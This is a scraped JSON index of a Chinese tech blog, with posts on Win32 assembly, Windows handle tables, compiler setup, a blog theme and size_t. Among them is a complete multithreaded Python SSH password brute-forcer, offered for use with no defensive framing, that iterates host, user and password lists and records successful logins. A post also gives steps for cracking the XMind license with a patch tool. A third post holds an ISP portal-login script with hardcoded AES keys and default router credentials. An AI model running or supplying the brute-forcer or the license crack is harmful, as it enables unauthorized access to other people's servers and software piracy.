一个\u0026quot;分段\u0026quot;的开始即是上一个\u0026quot;分段\u0026quot;的结束。WIN32中只有两种性质的\u0026quot;分段\u0026quot;：DATA和CODE。\n其中DATA\u0026quot;分段\u0026quot;又分为三种：\n.DATA 其中包括已初始化的数据。 .DATA? 其中包括未初始化的数据。比如有时您仅想预先分配一些内存但并不想指定初始值。使用未初始化的数据的优点是它不占据可执行文件的大小，如：若您要在 .DATA? 段中分配10,000字节的空间，您的可执行文件的大小无须增加10,000字节，而仅仅是要告诉编译器在装载可执行文件时分配所需字节。 .CONST 其中包括常量定义。这些常量在程序运行过程中是不能更改的。 应用程序并不需要以上所有的三个\u0026quot;分段\u0026quot;， 可以根据需要进行定义。 .CODE 这是代码\u0026quot;分段\u0026quot;。 实际上，分段并不是象在 Dos 下一样，为不同的段分别指出不同的段寄存器，因为 Windows 下只有一个 4GB 的段，Windows 程序中的分段表现在当程序装载时，赋予不同的分段不同的属性，比如说当你的程序加载时，对于 Ring3 程序来说，.code 段是不可写的，而 .data 段是可写的，如果你尝试象在 Dos 下一样写自己的代码部分，你会得到一个蓝屏错误\n1 2 \u0026lt;label\u0026gt; end \u0026lt;label\u0026gt; 是用来唯一标识您的代码范围的标签， 两个标签必须相同，应用程序的所有可执行代码必须在两个标签之间。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-study-1-basic-concept/","summary":"\u003ch2 id=\"背景知识\"\u003e背景知识\u003c/h2\u003e\n\u003cp\u003eWindows 把每一个 Win32 应用程序放到分开的虚拟地址空间中去运行，也就是说每一个应用程序都拥有其相互独立的 4GB 地址空间，当然这倒不是说它们都拥有 4GB 的物理地址空间，而只是说能够在 4GB 的范围内寻址。操作系统将会在应用程序运行时完成 4GB 的虚拟地址和物理内存地址间的转换。这就要求编写应用程序时必须格守 Windows 的规范，否则极易引起内存的保护模式错误。而过去的 Win16 内存模式下，所有的应用程序都运行于同一个 4GB 地址空间，它们可以彼此\u0026quot;看\u0026quot;到别的程序的内容，这极易导致一个应用程序破坏另一个应用程序甚至是操作系统的数据或代码。\u003c/p\u003e","title":"Win32汇编学习(1)：基本概念"},{"content":"一些win32汇编下学习资源与工具收集\n网站 AoGo汇编小站(MASMPlus作者)\nWin32Asm教程在线版\nWin32Asm教程博客园文件备份版 Masm32补充教程系列 Win32 ASM Tutorial Resource Kit：dREAMtHEATER收集的WIN32ASM教程，内容很全，包括32位汇编的基础知识，Iczelion的经典教程中英文版，罗云彬的32位汇编教程，还有PE格式和VxD的一些内容。 IDE MASMPlus Visual MASM(推荐) RadASM2_fork RadAsm 3.x支持中文注释 SASM Easy Code ","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-study-resource/","summary":"\u003cp\u003e一些win32汇编下学习资源与工具收集\u003c/p\u003e","title":"win32汇编(ASM)学习资源"},{"content":"当一个进程被初始化时,系统要为它分配一个句柄表。该句柄表只用于内核对象 ,不用于用户对象或GDI对象。\n创建内核对象 当进程初次被初始化时，它的句柄表是空的。然后，当进程中的线程调用创建内核对象的函数时，比如CreateFileMapping，内核就为该对象分配一个内存块，并对它初始化。这时，内核对进程的句柄表进行扫描，找出一个空项。由于表 3 - 1中的句柄表是空的，内核便找到索引1位置上的结构并对它进行初始化。该指针成员将被设置为内核对象的数据结构的内存地址，访问屏蔽设置为全部访问权，同时，各个标志也作了设置。\n下面列出了用于创建内核对象的一些函数（不是个完整的列表）：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 HANDLE CreateThread( PSECURITY_ATTRIBUTE psa, DWORD dwStackSize, LPTHREAD_START_ROUTINE pfnStartAddr, PVOID pvParam, DWORD dwCreationFlags, PDWORD pdwThreadId); HANDLE CreateFile( PCTSTR pszFileNAme, DWORD dwDesiredAccess, DWORD dwShareMode, PSECURITY_ATTRIBUTES psa, DWORD dwCreationDistribution, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); HANDLE CreateFileMapping( HANDLE hFile, PSECURITY_ATTRIBUTES psa, DWORD flPRotect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, PCTSTR pszName); HANDLE CreateSemaphore( PSECURITY_ATTRIBUTES psa, LONG lInitialCount, LONG lMaximumCount, PCTSTR pszName); 用于创建内核对象的所有函数均返回与进程相关的句柄，这些句柄可以被在相同进程中运行的任何或所有线程成功地加以使用。该句柄值实际上是放入进程的句柄表中的索引，它用于标识内核对象的信息存放的位置。 因此当调试一个应用程序且观察内核对象句柄的实际值时，会看到一些较小的值，如1，2等。\n每当调用一个将内核对象句柄接受为参数的函数时，就要传递由一个 Create*\u0026amp;函数返回的值。从内部来说，该函数要查看进程的句柄表，以获取要生成的内核对象的地址，然后按定义得很好的方式来生成该对象的数据结构。\n如果传递了一个无效索引（句柄），该函数便返回失败，而GetLastError则返回 6（ERROR_INVALID_HANDLE）。由于句柄值实际上是放入进程句柄表的索引，因此这些句柄是与进程相关的，并且不能由其他进程成功地使用。\n如果调用一个函数以便创建内核对象，但是调用失败了，那么返回的句柄值通常是0（NULL）。发生这种情况是因为系统的内存非常短缺，或者遇到了安全方面的问题。不过有少数函数在运行失败时返回的句柄值是-1（INVALID_HANDLE_VALUE）。例如，如果CreateFile未能打开指定的文件，那么它将返回INVALID_HANDLE_VALUE，而不是返回NULL。当查看创建内核对象的函数返回值时，必须格外小心。特别要注意的是，只有当调用CreateFile函数时，才能将该值与INVALID_HANDLE_VALUE进行比较。下面的代码是不正确的：\n1 2 3 4 HANDLE hMutex = CreateMutex(...); if (hMutex == INVALID_HANDLE_VALUE) { //这段代码不会执行，因为CreateMutex调用失败的时候返回的是NULL } 同样的，下面的代码也不正确：\n1 2 3 4 HANDLE hFile = CreateFile(...); if (hFIle == NULL) { //这段代码不会执行，因为CreateFile调用失败的时候返回的是INVALID_HANDLE_VALUE(-1) } 关闭内核对象 无论怎样创建内核对象，都要向系统指明将通过调用C l o s e H a n d l e来结束对该对象的操作：\n1 BOOL CloseHandle(HANDLE hobj); 如果该句柄是有效的，那么系统就可以获得内核对象的数据结构的地址，并可确定该结构中的使用计数的数据成员。如果使用计数是0，该内核便从内存中撤消该内核对象。\n如果将一个无效句柄传递给CloseHandle，将会出现两种情况之一。如果进程运行正常，CloseHandle返回FALSE，而GetLastError则返回ERROR_INVALID_HANDLE。如果进程正在排除错误，系统将通知调试程序，以便能排除它的错误。\n在CloseHandle返回之前，它会清除进程的句柄表中的项目，该句柄现在对你的进程已经无效，不应该试图使用它。无论内核对象是否已经撤消，都会发生清除操作。当调用CloseHandle函数之后，将不再拥有对内核对象的访问权，不过，如果该对象的使用计数没有递减为0，那么该对象尚未被撤消。这没有问题，它只是意味着一个或多个其他进程正在使用该对象。当其他进程停止使用该对象时（通过调用CloseHandle），该对象将被撤消。\n假如忘记调用CloseHandle函数，那么会不会出现内存泄漏呢？答案是可能的，但是也不一定。在进程运行时，进程有可能泄漏资源（如内核对象）。但是，当进程终止运行时，操作系统能够确保该进程使用的任何资源或全部资源均被释放，这是有保证的。对于内核对象来说，系统将执行下列操作：当进程终止运行时，系统会自动扫描进程的句柄表。如果该表拥有任何无效项目（即在终止进程运行前没有关闭的对象），系统将关闭这些对象句柄。如果这些对象中的任何对象的使用计数降为0，那么内核便撤消该对象。\n因此，应用程序在运行时有可能泄漏内核对象，但是当进程终止运行时，系统将能确保所有内容均被正确地清除。另外，这个情况适用于所有对象、资源和内存块，也就是说，当进程终止运行时，系统将保证进程不会留下任何对象。\n参考文献： 《Windows核心编程》 ","permalink":"https://www.hacktech.cn/post/2018/02/windows-process-kernel-object-handle-table/","summary":"\u003cp\u003e当一个进程被初始化时,系统要为它分配一个句柄表。该句柄表只用于内核对象 ,不用于用户对象或GDI对象。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/c0264382gy1foaobsqowpj20nz05c0t3.jpg\"\u003e\u003c/p\u003e","title":"Windows进程的内核对象句柄表"},{"content":"源自一个朋友的要求，他的要求是只爆破一个ip，结果出来后就停止，如果是爆破多个，完全没必要停止，等他跑完就好\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!usr/bin/env python #!coding=utf-8 __author__=\u0026#39;Akkuman\u0026#39; \u0026#39;\u0026#39;\u0026#39; SSH爆破，由于多线程的问题，我不知道怎么做可以出现结果马上停止（会查的，有更好的方法再改） 现在我的方法是定义了一个全局的信号finish_flag，然后每个线程检查这个信号 线程池用的concurrent.futures.ThreadPoolExecutor，是Py3的特性，py2需要安装其他的包 成功结果写到了result.txt，可以通过检查目录下的result.txt文件查看结果 \u0026#39;\u0026#39;\u0026#39; import paramiko from concurrent.futures import ThreadPoolExecutor import sys finish_flag = False def connect(host,user,pwd): global finish_flag if finish_flag: sys.exit() try: ssh=paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=host,username=user,password=pwd) print (\u0026#34;[-]Login Succ u:%s p:%s h:%s\u0026#34;%(user,pwd,host)) with open(\u0026#39;result.txt\u0026#39;,\u0026#39;a+\u0026#39;) as f: f.write(\u0026#34;h:%s u:%s p:%s\\n\u0026#34;%(host,user,pwd)) finish_flag = True except paramiko.ssh_exception.SSHException as err: print(\u0026#34;[x]Login Fail u:%s p:%s\u0026#34;%(user,pwd)) finally: ssh.close() return # 取得一个hostip,username,password def getInfo(): # 遍历ip with open(\u0026#39;host.txt\u0026#39;) as hosts: for host in hosts: hostip = host.strip() print(\u0026#34;[x]Target:\u0026#34;+host) # 遍历用户名 with open(\u0026#39;user.txt\u0026#39;) as users: for user in users: username = user.strip() # 遍历密码 with open(\u0026#39;pwd.txt\u0026#39;) as pwds: for pwd in pwds: password = pwd.strip() yield hostip,username,password def main(): paramiko.util.log_to_file(\u0026#34;filename.log\u0026#34;) info = getInfo() # 最大线程数 max_thread_num = 100 executor = ThreadPoolExecutor(max_workers=max_thread_num) for host,user,pwd in info: future = executor.submit(connect,host,user,pwd) if __name__ == \u0026#39;__main__\u0026#39;: main() ","permalink":"https://www.hacktech.cn/post/2018/01/python-ssh-burte-and-python3-threadpool/","summary":"\u003cp\u003e源自一个朋友的要求，他的要求是只爆破一个ip，结果出来后就停止，如果是爆破多个，完全没必要停止，等他跑完就好\u003c/p\u003e","title":"Python SSH爆破以及Python3线程池控制线程数"},{"content":"CodeTyphon和Lazarus的关系相当于就是ubuntu和linux的关系\n不过CodeTyphon提供了很多一键配置即可使用的交叉编译配置，而Lazarus就比较麻烦了，我也没用Lazarus交叉编译过\n首先假设我们交叉编译是在windows编译出linux可执行程序，那么我们需要做的事情大致上分为以下几步：\n下载跨平台交叉工具链(Download Cross Toolchains) 框选出来的两个都可以\n然后选择我们所需的linux，平台cpu位数需要自己根据自己的需求来，选择好后点选最右边的下载标识等待下载（我们这里选择的win64-i386-linux）\n下载系统二进制库(Download OSes Libraries) 下载win64-i386-linux对应的库，你也可以选择qt4那个，只是界面库不一样而已\nFPC Cross elements 这一步就相当于写处理配置了，根据你选择的win64-i386-linux来\nTyphon的工程配置选择 前几步做好后，现在只需要在ide里面做一些设置即可了，我直接放图，应该大家能看懂 打开 工程 \u0026gt; 工程选项 \u0026gt; 编译选项 \u0026gt; 路径把Libraries路径设置好\n然后选择平台\nLazarus和CodeTyphon编译出来的程序体积都比较大，减小体积可以把generate debugging info for GDB的选项去掉\n最后编译程序即可\n参考资料： CodeTyphon - Cross-Build for Android ","permalink":"https://www.hacktech.cn/post/2018/01/codetyphon-cross-build/","summary":"\u003cp\u003eCodeTyphon和Lazarus的关系相当于就是ubuntu和linux的关系\u003c/p\u003e\n\u003cp\u003e不过CodeTyphon提供了很多一键配置即可使用的交叉编译配置，而Lazarus就比较麻烦了，我也没用Lazarus交叉编译过\u003c/p\u003e\n\u003cp\u003e首先假设我们交叉编译是在\u003cstrong\u003ewindows编译出linux可执行程序\u003c/strong\u003e，那么我们需要做的事情大致上分为以下几步：\u003c/p\u003e","title":"CodeTyphon 跨平台交叉编译的配置"},{"content":"安装包 anchordocking和Sparta_DockedFormEditor\n然后点选保存并重新编译IDE即可\n","permalink":"https://www.hacktech.cn/post/2018/01/lazarus-whole-view/","summary":"\u003cp\u003e安装包  \u003ccode\u003eanchordocking\u003c/code\u003e和\u003ccode\u003eSparta_DockedFormEditor\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e然后点选\u003ccode\u003e保存并重新编译IDE\u003c/code\u003e即可\u003c/p\u003e","title":"Lazarus 分体式改成一体式窗口"},{"content":"具体效果看我博客园，或者看原作者frantic1048博客\n出处 折腾了一个新皮肤，自带预览图 这个皮肤使用博主已经说的比较清楚了，我再发一遍是因为这个主题在手机上emmmm\u0026hellip;比较惨不忍睹，自己小小的优化了一下（其实就是隐藏加margin-right哈哈），让手机端可以正常显示了，另外侧边栏有些h3标题无效果，也改进了一下，本人也没专门学过css，只是小修了一下，还是希望大家共同努力，毕竟frantic1048博主提供的这个皮肤真的挺好看\n使用方法 主题选择Gertrude Blue，禁用模板默认CSS勾选上，然后把地址http://www.cnblogs.com/blog/customcss/359968.css中的css全部复制到页面定制CSS代码，头像自定义在css文件的239行，可以自行更换地址\n博客侧边栏公告里面是\n1 2 3 \u0026lt;div id=\u0026#34;sidebar-cus\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;cus-avatar\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 如果想要使用页首，遵循下面的结构，其中第二个 span 标签是可选的:\n1 2 3 4 \u0026lt;div id=\u0026#34;top-qoute-container\u0026#34;\u0026gt; \u0026lt;span id=\u0026#34;top-qoute-context\u0026#34;\u0026gt;It is the path you have chosen. Take pride in it.\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;top-qoute-from\u0026#34;\u0026gt;Kotomine Kirei\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; 你也可以自定义一个名言列表进行轮换，不过那个需要js权限\n其实和frantic1048说明一样，只是css改动了一点\n祝大家使用愉快\n参考资料： 折腾了一个新皮肤，自带预览图 frantic1048的博客 ","permalink":"https://www.hacktech.cn/post/2017/12/cnblogs-theme-acg/","summary":"\u003cp\u003e具体效果看\u003ca href=\"http://akkuman.cnblogs.com/\"\u003e我博客园\u003c/a\u003e，或者看\u003ca href=\"http://www.cnblogs.com/frantic1048/\"\u003e原作者frantic1048博客\u003c/a\u003e\u003c/p\u003e","title":"把博客园自己博客皮肤改了下"},{"content":"又好了，，，，能用就行，不管了\n湖北e信的掌大协议死过很多次，不过是因为有人盯上了老陈，潜伏在了他的群，自己搞搞其实还是能用\n今天却是死的不能再死，不知是不是永久，谨以此文纪念一下\n之前便是有人说马上掌大协议就失效了，但我对于这些传说，竟至于颇为怀疑。\n我向来是不惮以最坏的恶意，来推测搞e信的那帮人的，然而我还不料，也不信竟会下劣凶残到这地步。况且始终可以无限时长的可使用路由器的掌大协议，更何至于无端就要失效呢？\n然而今日证明是事实了，今早我起床就发现我自己的脚本登陆不上了，看了下错误输出，58.53.196.165:8080打不开了，只有当你登陆e信后才能打开\n可是我实在无话可说。我只觉得所住的并非人间。又回到了限时的e信，使我艰于呼吸视听，那里还能有什么言语？长歌当哭，是必须在痛定之后的。我已经出离愤怒了。我将e信这非人间的浓黑的悲凉；以我的最大哀痛显示于非人间，使它们快意于我的苦痛，就将这作为后死者的菲薄的祭品，奉献于逝者的灵前。\n总之，在我的记忆上，这次可能就是永别了。\n","permalink":"https://www.hacktech.cn/post/2017/12/hubei-exin-portal-was-dead/","summary":"\u003cp\u003e\u003cstrong\u003e又好了，，，，能用就行，不管了\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e湖北e信的掌大协议死过很多次，不过是因为有人盯上了老陈，潜伏在了他的群，自己搞搞其实还是能用\u003c/p\u003e\n\u003cp\u003e今天却是死的不能再死，不知是不是永久，谨以此文纪念一下\u003c/p\u003e","title":"湖北掌大协议于2017-12-24入土"},{"content":"//通用许可证密钥//\nXMind Pro 2013~XMind Pro 8：\n电子邮件地址\n许可证密钥\n//安装说明//\n对于XMind 8/8 Update 1/2/3/4/5/6：\n从官方网站下载并安装XMind 8 现在不要启动它 将“Universal Patch.exe”复制到程序目录，并以管理员身份运行 启动XMind 8，输入“ 帮助/许可证\u0026hellip; /输入许可证 ” 使用上面的许可证密钥进行注册 OK 聪明的会知道:Universal Patch.exe\n","permalink":"https://www.hacktech.cn/post/2017/12/xmind-patch-crack/","summary":"\u003cp\u003e//通用许可证密钥//\u003c/p\u003e\n\u003cp\u003eXMind Pro 2013~XMind Pro 8：\u003c/p\u003e","title":"XMind8 Pro版激活序列码与补丁"},{"content":"湖北定制版协议拨号\n本来之前我e信账号被加小黑屋就没弄了，没想到又被放出小黑屋了，可以上了\n据说1月份换协议，且用且珍惜，另外感谢陈大的项目\n使用的第三方库\n1 2 3 requests BeautifulSoup4 wxPython 支持老毛子固件（登录账号密码均为admin），如果不是老毛子请手动填写路由器wan口获取的ip\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 import wx import wx.xrc import re import sys import os import requests import binascii import time from Cryptodome.Cipher import AES from requests.auth import HTTPBasicAuth ########################################################################### ## Class MyFrame1 ########################################################################### class HubeiPortal: AES_KEY_PASSWORD = \u0026#34;pass012345678910\u0026#34; AES_KEY_SESSION = \u0026#34;jyangzi5@163.com\u0026#34; def __init__(self, username, password, localIpAddress, useragent): self.UserName = username self.Password = password self.Headers = { \u0026#39;Charset\u0026#39;: \u0026#39;UTF-8\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39;, \u0026#39;App\u0026#39;: \u0026#39;HBZD\u0026#39;, \u0026#39;User-Agent\u0026#39;: useragent, #\u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/Android/6.0.1/SM-G9250/ffffffff-f56d-7f76-ffff-ffffd097bd08\u0026#39;, } self.Host = \u0026#39;58.53.196.165:8080\u0026#39; self.LocalIpAddress = localIpAddress self.AccessToken = \u0026#39;\u0026#39; self.Cookie = {} def getSecret(self): url = \u0026#39;http://\u0026#39; + self.Host + \u0026#39;/wf.do?clientType=android\u0026amp;code=1\u0026amp;version=6.0.1\u0026amp;clientip=\u0026#39; + self.LocalIpAddress # url=http://58.53.196.165:8080/wf.do?device=Phone%3ALetv+X620%5CSDK%3A23\u0026amp;clientType=android\u0026amp;code=1\u0026amp;version=6.0\u0026amp;clientip=100.64.64.76 hRequest = requests.get(url, headers=self.Headers, timeout=10) self.AccessToken = self.parseToHtml(hRequest) self.Cookie[\u0026#39;JSESSIONID\u0026#39;] = hRequest.cookies[\u0026#39;JSESSIONID\u0026#39;] def authenticate(self): url = \u0026#39;http://\u0026#39; + self.Host + \u0026#39;/wf.do\u0026#39; postData = { \u0026#39;password\u0026#39;: self.getPasswordEnc(self.Password), \u0026#39;clientType\u0026#39;: \u0026#39;android\u0026#39;, \u0026#39;username\u0026#39;: self.UserName, \u0026#39;key\u0026#39;: self.getSessionEnc(self.AccessToken), \u0026#39;code\u0026#39;: 8, \u0026#39;clientip\u0026#39;: self.LocalIpAddress, } hRequest = requests.post(url, data=postData, cookies=self.Cookie, headers=self.Headers) resp = self.parseToHtml(hRequest) return resp def getPasswordEnc(self, sPasswd): return self.toHex(self.aesEcbEnc(sPasswd, self.AES_KEY_PASSWORD)) def getSessionEnc(self, sSession): return self.toHex(self.aesEcbEnc(sSession, self.AES_KEY_SESSION)) def aesEcbEnc(self, sText, aes_key): aes_key = bytes(aes_key, encoding=\u0026#39;utf-8\u0026#39;) sText = bytes(sText, encoding=\u0026#39;utf-8\u0026#39;) cipher = AES.new(aes_key, AES.MODE_ECB) if len(sText) \u0026lt;= 16: while len(sText) % 16 != 0: sText += b\u0026#39;\\n\u0026#39; else: while len(sText) % 48 != 0: sText += b\u0026#39;\\x10\u0026#39; cipher_text = cipher.encrypt(sText) return cipher_text def toHex(self, sEncrypt): return binascii.b2a_hex(sEncrypt).decode(\u0026#39;utf-8\u0026#39;).upper() def parseToHtml(self, hRequest): return hRequest.text def Connect(self): self.getSecret() return self.authenticate() class MyFrame1 ( wx.Frame ): def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u\u0026#34;snk\u0026#34;, pos = wx.DefaultPosition, size = wx.Size( 246,246 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL ) self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) fgSizer2 = wx.FlexGridSizer( 0, 2, 0, 0 ) fgSizer2.SetFlexibleDirection( wx.BOTH ) fgSizer2.SetNonFlexibleGrowMode( wx.FLEX_GROWMODE_SPECIFIED ) self.m_staticText2 = wx.StaticText( self, wx.ID_ANY, u\u0026#34;账号\u0026#34;, wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText2.Wrap( -1 ) fgSizer2.Add( self.m_staticText2, 0, wx.ALL, 5 ) self.m_textCtrl4 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) fgSizer2.Add( self.m_textCtrl4, 0, wx.ALL, 5 ) self.m_staticText3 = wx.StaticText( self, wx.ID_ANY, u\u0026#34;密码\u0026#34;, wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText3.Wrap( -1 ) fgSizer2.Add( self.m_staticText3, 0, wx.ALL, 5 ) self.m_textCtrl5 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.TE_PASSWORD ) fgSizer2.Add( self.m_textCtrl5, 0, wx.ALL, 5 ) self.m_staticText4 = wx.StaticText( self, wx.ID_ANY, u\u0026#34;UA\u0026#34;, wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText4.Wrap( -1 ) fgSizer2.Add( self.m_staticText4, 0, wx.ALL, 5 ) self.m_textCtrl6 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) fgSizer2.Add( self.m_textCtrl6, 0, wx.ALL, 5 ) self.m_staticText5 = wx.StaticText( self, wx.ID_ANY, u\u0026#34;内网IP\u0026#34;, wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText5.Wrap( -1 ) fgSizer2.Add( self.m_staticText5, 0, wx.ALL, 5 ) self.m_textCtrl7 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) fgSizer2.Add( self.m_textCtrl7, 0, wx.ALL, 5 ) self.m_checkBox1 = wx.CheckBox( self, wx.ID_ANY, u\u0026#34;记住信息\u0026#34;, wx.DefaultPosition, wx.DefaultSize, 0 ) fgSizer2.Add( self.m_checkBox1, 0, wx.ALL|wx.EXPAND, 5 ) self.m_button1 = wx.Button( self, wx.ID_ANY, u\u0026#34;点击更新IP(需2s)\u0026#34;, wx.DefaultPosition, wx.DefaultSize, 0 ) fgSizer2.Add( self.m_button1, 0, wx.ALL|wx.EXPAND, 5 ) self.m_button2 = wx.Button( self, wx.ID_ANY, u\u0026#34;开始连接\u0026#34;, wx.DefaultPosition, wx.DefaultSize, 0 ) fgSizer2.Add( self.m_button2, 0, wx.ALL|wx.EXPAND, 5 ) self.SetSizer( fgSizer2 ) self.Layout() self.Centre( wx.BOTH ) # Connect Events r_internet = requests.get(\u0026#39;http://192.168.1.1/status_wanlink.asp\u0026#39;, headers={\u0026#39;Authorization\u0026#39;:\u0026#39;Basic YWRtaW46YWRtaW4=\u0026#39;}) ip4_wan = re.search(r\u0026#34;function\\ wanlink\\_ip4\\_wan\\(\\)\\ \\{ return\\ \\\u0026#39;(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\\u0026#39;\\;\\}\u0026#34;, r_internet.text).group(1) self.m_textCtrl7.SetValue(ip4_wan) # get info from config file if os.path.exists(\u0026#34;SnkGui.ini\u0026#34;): for line in open(\u0026#34;SnkGui.ini\u0026#34;,\u0026#39;r\u0026#39;): config = line.split(\u0026#39; : \u0026#39;) if config[0] == \u0026#39;username\u0026#39;: self.m_textCtrl4.SetValue(config[1].strip()) if config[0] == \u0026#39;password\u0026#39;: self.m_textCtrl5.SetValue(config[1].strip()) if config[0] == \u0026#39;useragent\u0026#39;: self.m_textCtrl6.SetValue(config[1].strip()) self.m_checkBox1.Bind( wx.EVT_CHECKBOX, self.SaveConfig ) self.m_button1.Bind( wx.EVT_BUTTON, self.getWANIP4 ) self.m_button2.Bind( wx.EVT_BUTTON, self.Connect ) def __del__( self ): pass # Virtual event handlers, overide them in your derived class def SaveConfig( self, event ): with open(\u0026#34;SnkGui.ini\u0026#34;,\u0026#39;w\u0026#39;) as f: config = [] config.append(\u0026#39;username : \u0026#39;+self.m_textCtrl4.GetValue() + \u0026#39;\\n\u0026#39;) config.append(\u0026#39;password : \u0026#39;+self.m_textCtrl5.GetValue() + \u0026#39;\\n\u0026#39;) config.append(\u0026#39;useragent : \u0026#39;+self.m_textCtrl6.GetValue() + \u0026#39;\\n\u0026#39;) f.writelines(config) # get ip4_wan from 192.168.1.1(老毛子路由器) def getWANIP4( self, event ): headers = { # 其中YWRtaW46YWRtaW4=是admin:admin（路由器账号密码）的base64编码，可以自己根据格式进行编码修改 \u0026#39;Authorization\u0026#39; : \u0026#39;Basic YWRtaW46YWRtaW4=\u0026#39;, } payload = { \u0026#39;wan_action\u0026#39; : \u0026#39;Connect\u0026#39;, \u0026#39;modem_prio\u0026#39; : \u0026#39;1\u0026#39;, } r_reconnect = requests.post(\u0026#39;http://192.168.1.1/device-map/wan_action.asp\u0026#39;, headers=headers, data=payload) time.sleep(2) r_internet = requests.get(\u0026#39;http://192.168.1.1/status_wanlink.asp\u0026#39;, headers=headers) ip4_wan = re.search(r\u0026#34;function\\ wanlink\\_ip4\\_wan\\(\\)\\ \\{ return\\ \\\u0026#39;(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\\u0026#39;\\;\\}\u0026#34;, r_internet.text).group(1) self.m_textCtrl7.SetValue(ip4_wan) def Connect( self, event ): username = self.m_textCtrl4.GetValue() password = self.m_textCtrl5.GetValue() localIpAddress = self.m_textCtrl7.GetValue() useragent = self.m_textCtrl6.GetValue() eXin = HubeiPortal(username,password,localIpAddress,useragent) ConnInfo = eXin.Connect() if \u0026#34;auth00\u0026#34; in ConnInfo: wx.MessageBox(u\u0026#34;连接成功\u0026#34;) else: wx.MessageBox(ConnInfo) def main(): app = wx.App(False) frame = MyFrame1(None) frame.Show(True) #start the applications app.MainLoop() if __name__ == \u0026#39;__main__\u0026#39;: main() 供测试UA\n1 Mozilla/Android/6.0.1/SM-G925f/ffffffff-f78d-7f76-ffff-ffffd097bd08 其中SM-G925f(格式不限)与ffffffff-f78d-7f76-ffff-ffffd097bd08(格式需相同)均可修改\n如果不是老毛子，ip获取不到，直接手动填写ip即可\n","permalink":"https://www.hacktech.cn/post/2017/12/hubei-exin-portal-python-script/","summary":"\u003cp\u003e湖北定制版协议拨号\u003cbr\u003e\n本来之前我e信账号被加小黑屋就没弄了，没想到又被放出小黑屋了，可以上了\u003cbr\u003e\n据说1月份换协议，且用且珍惜，另外感谢\u003ca href=\"https://github.com/miao1007/Openwrt-NetKeeper\"\u003e陈大的项目\u003c/a\u003e\u003c/p\u003e","title":"湖北掌大协议拨号Python脚本"},{"content":"size_t和unsigned int有所不同,size_t的取值range是目标平台下最大可能的数组尺寸,一些平台下size_t的范围小于int的正数范围,又或者大于unsigned int.最典型的,在x64下,int还是4,但size_t是8.这意味着你在x64下最大可能开辟的数组尺寸是2^64.如果你使用int或者unsigned int,那么在x64下如果你的代码中全部使用uint作为数组的尺寸标记,那么你就会失去控制 2^32 尺寸以上的数组的机会.虽然现在在x64上开辟一个大于 2^32 大小的连续数组依然是个不大可能的事情,但是\u0026hellip;\u0026hellip;\u0026hellip;.\n“640K内存对于任何人来说都足够了”\u0026mdash;-比尔盖茨\n链接：https://www.zhihu.com/question/24773728/answer/28920149\n","permalink":"https://www.hacktech.cn/post/2017/12/compare-size-t-and-unsigned-int/","summary":"\u003cp\u003esize_t和unsigned int有所不同,size_t的取值range是目标平台下最大可能的数组尺寸,一些平台下size_t的范围小于int的正数范围,又或者大于unsigned int.最典型的,在x64下,int还是4,但size_t是8.这意味着你在x64下最大可能开辟的数组尺寸是2^64.如果你使用int或者unsigned int,那么在x64下如果你的代码中全部使用uint作为数组的尺寸标记,那么你就会失去控制 \u003ccode\u003e2^32\u003c/code\u003e 尺寸以上的数组的机会.虽然现在在x64上开辟一个大于 \u003ccode\u003e2^32\u003c/code\u003e 